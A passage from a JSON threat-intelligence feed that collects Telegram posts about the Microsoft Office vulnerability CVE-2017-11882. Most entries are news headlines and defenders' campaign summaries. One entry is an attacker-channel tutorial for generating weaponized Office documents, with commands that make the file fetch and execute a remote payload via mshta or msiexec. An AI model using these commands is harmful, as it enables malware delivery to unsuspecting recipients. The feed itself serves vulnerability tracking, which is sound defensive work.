\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0442\u0435\u0447\u043a\u0438 NetNTLM-\u0445\u044d\u0448\u0430 \u0432 \u0438\u043d\u0434\u0435\u043a\u0441\u0430\u0442\u043e\u0440\u0435 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u0430\u044f \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0430 \u0438 \u0438\u043d\u0444\u043e\u0433\u0440\u0430\u0444\u0438\u043a\u0430 - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2025-06-04T18:00:07.000000Z"}, {"uuid": "5d9ee8bc-84fb-4108-a0f6-d279b0aa37c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/ctinow/156890", "content": "https://ift.tt/esFBVCn\nThreat Actors Exploit CVE-2017-11882 to Deliver Agent Tesla", "creation_timestamp": "2023-12-20T11:31:47.000000Z"}, {"uuid": "bf304aff-e43e-4a98-be10-afac9e71089f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/ctinow/132004", "content": "https://ift.tt/EBxHAO6\nUnveiling CVE-2017-11882: Microsoft Office\u2019s Vulnerability Exploited by Cybercriminals", "creation_timestamp": "2023-08-22T04:18:06.000000Z"}, {"uuid": "0e6ca74d-8e01-4b56-9e06-3569cbb2467d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/ton618cyber/8957", "content": "Kimsuky Exploits BlueKeep RDP Vulnerability to Breach Systems in South Korea and Japan\n\nKimsuky exploited CVE-2019-0708 and CVE-2017-11882 since Oct 2023 to target 15 countries.\n\nThe Hacker News | thehackernews.com \u2022 Apr 21, 2025", "creation_timestamp": "2025-04-26T03:07:09.000000Z"}, {"uuid": "280b03a8-9244-45f3-92a4-6f5d3b59ad2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "published-proof-of-concept", "source": "https://t.me/ctinow/19889", "content": "RT @ValthekOn: My POC of CVE-2017-11882 Exploit using only 108 bytes and without size limit later, :)\nhttps://t.co/A1yFl7jNz4\n\n@hasherezade @Farenain @malwrhunterteam @malwareunicorn @51ddh4r7h4 @struppigel @Malwarebytes #Malware @demonslay335 @fwosar @BleepinComputer http://twitter.com/BleepinComputer/status/1222950119840063491", "creation_timestamp": "2020-01-30T19:50:16.000000Z"}, {"uuid": "f815d6bf-63e1-4eac-845e-649373a974c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/ctinow/64735", "content": "Excel Document Delivers Formbook Malware By Exploiting CVE-2017-11882\n\nhttps://ift.tt/nIyvWEp", "creation_timestamp": "2022-09-21T11:11:32.000000Z"}, {"uuid": "c31742f7-d887-4bc2-8d26-ffb01def2c5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/ctinow/17048", "content": "Microsoft Office Bug Remains Top Malware Delivery Vector CVE-2017-11882 has been attackers' favorite malware delivery mechanism throughout the second and third quarters of 2019. https://www.darkreading.com/operations/microsoft-office-bug-remains-top-malware-delivery-vector/d/d-id/1336182?_mc=rss_x_drr_edt_aud_dr_x_x-rss-simple", "creation_timestamp": "2019-10-25T22:37:46.000000Z"}, {"uuid": "c091c0ad-0370-471f-ac0b-2ae868b1225f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/ton618cyber/3293", "content": "Top 3 MS Office Exploits Hackers Use in 2025 \n\nPhishing Office files and CVE-2017-11882 exploits still active in 2025, exposing unpatched systems to malware.\n\nThe Hacker News | thehackernews.com \u2022 Mar 27, 2025", "creation_timestamp": "2025-03-28T16:21:04.000000Z"}, {"uuid": "e81edc6e-7547-4a82-8a2c-b0af35ea5d09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/ctinow/2437", "content": "ThreatList: Microsoft Macros Remain Top Vector for Malware Delivery The second-most popular delivery method is CVE-2017-11882, a patched Microsoft vulnerability that allows the attacker to perform arbitrary code-execution. https://threatpost.com/threatlist-microsoft-macros-remain-top-vector-for-malware-delivery/137428/", "creation_timestamp": "2018-09-14T16:08:14.000000Z"}, {"uuid": "bc576a70-4a6f-4f2a-9d5d-48d77e327f42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "published-proof-of-concept", "source": "https://t.me/ctinow/7547", "content": "FORMBOOK Malware Delivered via Weaponized RTF Word Docs \u2013 Using CVE-2017-11882 \nRead: https://t.co/5lTgdR3DYQ https://t.co/Jpg606CnV6 ", "creation_timestamp": "2019-01-30T08:04:57.000000Z"}, {"uuid": "028a38ab-0055-491d-9aa1-5c90ad60c881", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "published-proof-of-concept", "source": "https://t.me/bizone_channel/1141", "content": "\ud83c\udf1a Cloud Werewolf: \u00ab\u043f\u0443\u0442\u0435\u0432\u043a\u0430 \u043d\u0430 \u043b\u0435\u0447\u0435\u043d\u0438\u0435\u00bb, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043d\u0435 \u043f\u0440\u0438\u043d\u0435\u0441\u0435\u0442 \u0440\u0430\u0434\u043e\u0441\u0442\u0438\n\n\u041f\u043e\u043a\u0430 \u043a\u043e\u043b\u043b\u0435\u0433\u0438 \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u044e\u0442 \u0437\u0430\u043a\u043e\u043d\u043e\u043c\u0435\u0440\u043d\u043e\u0441\u0442\u0438 \u0432\u043b\u0438\u044f\u043d\u0438\u044f \u0446\u0438\u043a\u043b\u043e\u0432 \u043b\u0443\u043d\u044b \u043d\u0430 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0438, \u0437\u0432\u0435\u0437\u0434\u044b \u0441\u043d\u043e\u0432\u0430 \u043d\u0435 \u0441\u043e\u0448\u043b\u0438\u0441\u044c \u0432 \u043f\u043e\u043b\u044c\u0437\u0443 Cloud Werewolf. \n\n\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b BI.ZONE Threat Intelligence \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043d\u043e\u0432\u0443\u044e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u0430, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u0443\u044e\u00a0\u043d\u0430 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 \u0438 \u0431\u0435\u043b\u043e\u0440\u0443\u0441\u0441\u043a\u0438\u0435 \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438. \u0421 \u0444\u0435\u0432\u0440\u0430\u043b\u044f \u043f\u043e \u043c\u0430\u0440\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043b\u0438 \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u043f\u044f\u0442\u0438 \u0430\u0442\u0430\u043a.\n\n\u041a\u043b\u0430\u0441\u0442\u0435\u0440 Cloud Werewolf \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u043f\u043e\u043b\u0430\u0433\u0430\u0442\u044c\u0441\u044f \u043d\u0430 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u044b\u0435 \u043f\u0438\u0441\u044c\u043c\u0430 \u0441 \u0432\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u043c\u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438 Microsoft Office. \u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445 \u2014 \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b \u0441 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0435\u0439 \u043e \u043f\u0443\u0442\u0435\u0432\u043a\u0430\u0445\u00a0\u043d\u0430 \u0441\u0430\u043d\u0430\u0442\u043e\u0440\u043d\u043e-\u043a\u0443\u0440\u043e\u0440\u0442\u043d\u043e\u0435 \u043b\u0435\u0447\u0435\u043d\u0438\u0435, \u043f\u0440\u0438\u043a\u0430\u0437\u044b \u0444\u0435\u0434\u0435\u0440\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u043b\u0443\u0436\u0431 \u0438 \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u043a\u0438.\n\n\u0420\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u0430 \u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u043d\u0430 \u0435\u0433\u043e \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0440\u0435\u043e\u0434\u043e\u043b\u0435\u0432\u0430\u0442\u044c \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0437\u0430\u0449\u0438\u0442\u044b.\n\n\u0425\u043e\u0434 \u0430\u0442\u0430\u043a\u0438:\n\n1. \u041f\u043e\u0441\u043b\u0435 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u044f \u0432\u043b\u043e\u0436\u0435\u043d\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0441 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0435\u0441\u0443\u0440\u0441\u0430 \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f RTF-\u0444\u0430\u0439\u043b, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2017-11882.\n2. \u0414\u0430\u043b\u0435\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0448\u0435\u043b\u043b-\u043a\u043e\u0434, \u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 XOR \u0441 \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c \u043a\u043b\u044e\u0447\u0430 \u0432 2 \u0431\u0430\u0439\u0442\u0430 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0430.\u00a0\n3. \u0421 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f HTA-\u0444\u0430\u0439\u043b, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0439 \u0441\u043a\u0440\u0438\u043f\u0442, \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 \u043d\u0430 Visual Basic.\n4. \u0414\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 VBS-\u0444\u0430\u0439\u043b\u043e\u0432 \u0441 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f GET-\u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u0435\u0433\u043e \u0430\u0434\u0440\u0435\u0441.\n\n\u041a\u043b\u0430\u0441\u0442\u0435\u0440 Cloud Werewolf \u0432 \u0441\u0432\u043e\u0438\u0445 \u0430\u0442\u0430\u043a\u0430\u0445 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043c\u0435\u0442\u043e\u0434\u044b \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u044f \u043d\u0430 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0445 \u0442\u043e\u0447\u043a\u0430\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0442\u0440\u0443\u0434\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u043f\u0440\u0435\u0432\u0435\u043d\u0442\u0438\u0432\u043d\u044b\u043c\u0438 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430\u043c\u0438 \u0437\u0430\u0449\u0438\u0442\u044b. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043c\u044b \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u043c \u0432\u044b\u044f\u0432\u043b\u044f\u0442\u044c \u0442\u0430\u043a\u0438\u0435 \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u0432\u043e\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043d\u0430 \u043d\u0438\u0445 \u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u0442\u044c, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0440\u0435\u0448\u0435\u043d\u0438\u044f BI.ZONE EDR.\n\n\u0427\u0438\u0442\u0430\u0442\u044c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435", "creation_timestamp": "2024-03-21T12:48:20.000000Z"}, {"uuid": "aa8b5893-705c-4f99-850c-210874454ff2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "Telegram/Al5s1pu9DlCNMnH7rJt2q5NFKP_tt6i0TJLpRuR3HfdnDhA", "content": "", "creation_timestamp": "2022-12-05T04:24:48.000000Z"}, {"uuid": "1ef9fad7-5513-416e-9561-7e8ce613d283", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/ton618cyber/3599", "content": "Kimsuky Exploits BlueKeep RDP Vulnerability to Breach Systems in South Korea and Japan\n\nKimsuky exploited CVE-2019-0708 and CVE-2017-11882 since Oct 2023 to target 15 countries.\n\nThe Hacker News | thehackernews.com \u2022 Apr 21, 2025", "creation_timestamp": "2025-04-26T03:07:11.000000Z"}, {"uuid": "752587bd-3840-47c8-8c36-a6edc3888283", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/ton618cyber/8267", "content": "Top 3 MS Office Exploits Hackers Use in 2025 \n\nPhishing Office files and CVE-2017-11882 exploits still active in 2025, exposing unpatched systems to malware.\n\nThe Hacker News | thehackernews.com \u2022 Mar 27, 2025", "creation_timestamp": "2025-03-28T16:21:03.000000Z"}, {"uuid": "64fe0c5e-8e7f-430c-b681-ece934f60b7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "Telegram/A903RCu7KRgXT-eUAjNM6VpCrRHkrEjcoKzx4yiBNIthfg", "content": "", "creation_timestamp": "2023-12-21T09:22:51.000000Z"}, {"uuid": "c59f9e78-7356-4a6f-aa94-ee4930589812", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/KomunitiSiber/1256", "content": "Hackers Exploiting Old MS Excel Vulnerability to Spread Agent Tesla Malware\nhttps://thehackernews.com/2023/12/hackers-exploiting-old-ms-excel.html\n\nAttackers are weaponizing an old Microsoft Office vulnerability as part of phishing campaigns to distribute a strain of malware called\u00a0Agent Tesla.\nThe infection chains leverage decoy Excel documents attached in invoice-themed messages to trick potential targets into opening them and activate the exploitation of CVE-2017-11882 (CVSS score: 7.8), a memory corruption vulnerability in Office's", "creation_timestamp": "2023-12-21T08:52:59.000000Z"}, {"uuid": "698a81bb-d4af-467d-a180-54a6006c70e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/viperzcrew1/176", "content": "\ud83d\udcc3 DOC exploit: How to make the simplest exploit for Microsoft Office \ud83d\udcc3\n\nMany of you sometimes need doc exploit, for spam or targeted attacks. Today I will show you how to make a simple exploit.\n\n1\ufe0f\u20e3 To do this, we will need a regular automation script that will generate our CVE https://github.com/Ridter/CVE-2017-11882 (there are new and better but for simple example we use this)\n\n2\ufe0f\u20e3 we see two scripts that are on 43bt and 109bt(restriction on the entered command) we will need 109, because we will not be able to run anything other than the same calculator (restriction). download the script to 109bt\n3\ufe0f\u20e3 METHODS\n\nMSHTA\n\nThe most banal and stupid thing you can do is download mshta,\ncreate a .hta file and add the code to download it, fill it on our site. After entering\n\npython Command109b_CVE-2017-11882.py -c \"mshta http://site.com/abc\" - o test.doc\n\nMSIEXEC\n\nDownload any converter for example this one Exe to msi Converter : http://www.exetomsi.com/\n\nConvert our EXE to msi, fill the msi on our site(if the EXE does not occur, add the sfx archive). \n\nAnd enter\n\npython Command109b_CVE-2017-11882.py -c \"msiexec /q /i http://site.ru/msi.msi\"\n\nhere are two simple examples of how to quickly make a doc exploit.", "creation_timestamp": "2022-09-10T18:57:13.000000Z"}, {"uuid": "d30a8050-ae3a-4594-887f-ebffbc138078", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "Telegram/fSuv2KpyfIksaa8qqgqv5fCpt00UzRfooou1l9gqHjc-A0g", "content": "", "creation_timestamp": "2025-03-11T22:00:06.000000Z"}, {"uuid": "d2cb3bb6-8821-4028-8122-98dac37ca81b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/proxy_bar/1190", "content": "\u0420\u0430\u043d\u043e\u0432\u0430\u0442\u043e, \u043d\u043e \u0442\u0430\u043a\u0438 \u0434\u0430\n\u0422\u041e\u041f 10 \u0438\u0437 2022\n\n1. Follina (CVE-2022-30190)\n2. Log4Shell (CVE-2021-44228)\n3. Spring4Shell (CVE-2022-22965)\n4. F5 BIG-IP (CVE-2022-1388)\n5. Google Chrome zero-day (CVE-2022-0609)\n6. Old but not forgotten - Microsoft Office bug (CVE-2017-11882)\n7. ProxyNotShell (CVE-2022-41082, CVE-2022-41040)\n8. Zimbra Collaboration Suite bugs (CVE-2022-27925, CVE-2022-41352)\n9. Atlassian Confluence RCE flaw (CVE-2022-26134)\n10. Zyxel RCE vulnerability (CVE-2022-30525)", "creation_timestamp": "2022-11-29T06:36:16.000000Z"}, {"uuid": "52f1639f-506c-40b7-999c-26313d32dc1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "Telegram/8yasABRsBeQ7_fA7ekcVN5-Bf6YalSSK4RwFtvSF2nNKkrM", "content": "", "creation_timestamp": "2022-12-06T17:10:12.000000Z"}, {"uuid": "01377074-8fef-4eb7-b160-934a30874df3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/cyberguerre/2213", "content": "\ud83c\udde7\ud83c\uddfe\ud83c\uddf7\ud83c\uddfa\u0421 \u043d\u0430\u0447\u0430\u043b\u0430 2024 \u0433. \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0438 F.A.C.C.T. Threat Intelligence \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u0442\u044b\u0441\u044f\u0447\u0438 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u0440\u0430\u0441\u0441\u044b\u043b\u043e\u043a \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e, \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f, \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u0438 \u0431\u0430\u043d\u043a\u0438 \u0432 \u0420\u043e\u0441\u0441\u0438\u0438 \u0438 \u0411\u0435\u043b\u0430\u0440\u0443\u0441\u0438\n\n\u2b06\ufe0f\u0426\u0435\u043b\u044c\u044e \u044d\u0442\u0438\u0445 \u0440\u0430\u0441\u0441\u044b\u043b\u043e\u043a \u0431\u044b\u043b\u0430 \u043a\u0440\u0430\u0436\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439. \u0410\u0442\u0430\u043a\u0438 \u0431\u044b\u043b\u0438 \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043a \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0435 \u0422\u0410558.\n\n\ud83d\udd0e \u0422\u0410558 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0432\u0435\u0434\u0435\u0442 \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0441 2018 \u0433. \u041e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0446\u0435\u043b\u0438 \u2014 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u044b\u0435 \u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f, \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0438\u0437 \u0442\u0443\u0440\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043e\u0442\u0440\u0430\u0441\u043b\u0438. \u0413\u0440\u0443\u043f\u043f\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043c\u043d\u043e\u0433\u043e\u044d\u0442\u0430\u043f\u043d\u044b\u0435 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u0438 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043c\u0435\u0442\u043e\u0434\u044b \u0441\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u0438\u0438, \u0447\u0442\u043e\u0431\u044b \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u044b \u0441\u0432\u043e\u0438\u0445 \u0436\u0435\u0440\u0442\u0432.\n\n\u2699\ufe0f \u041e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0430\u0442\u0430\u043a \u0422\u0410558:\n\n\u2600\ufe0f\u0421\u0442\u0435\u0433\u0430\u043d\u043e\u0433\u0440\u0430\u0444\u0438\u044f \u043f\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438.\n\u2600\ufe0f\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0441 \u0438\u043c\u0435\u043d\u0430\u043c\u0438, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u043c\u0438 \u0441\u043b\u043e\u0432\u0430 \u00abLove\u00bb \u0438 \u00abKiss\u00bb. \n\n\u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e, \u0442\u0430\u043a\u043e\u0435 \u043a\u0430\u043a Agent Tesla \u0438\u043b\u0438 Remcos, \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u043d\u044b\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f: \u0437\u0430\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0432\u0438\u0434\u0435\u043e \u0441 \u0432\u0435\u0431-\u043a\u0430\u043c\u0435\u0440\u044b, \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0431\u0443\u0444\u0435\u0440\u043e\u043c \u043e\u0431\u043c\u0435\u043d\u0430 \u0438 \u043c\u044b\u0448\u044c\u044e, 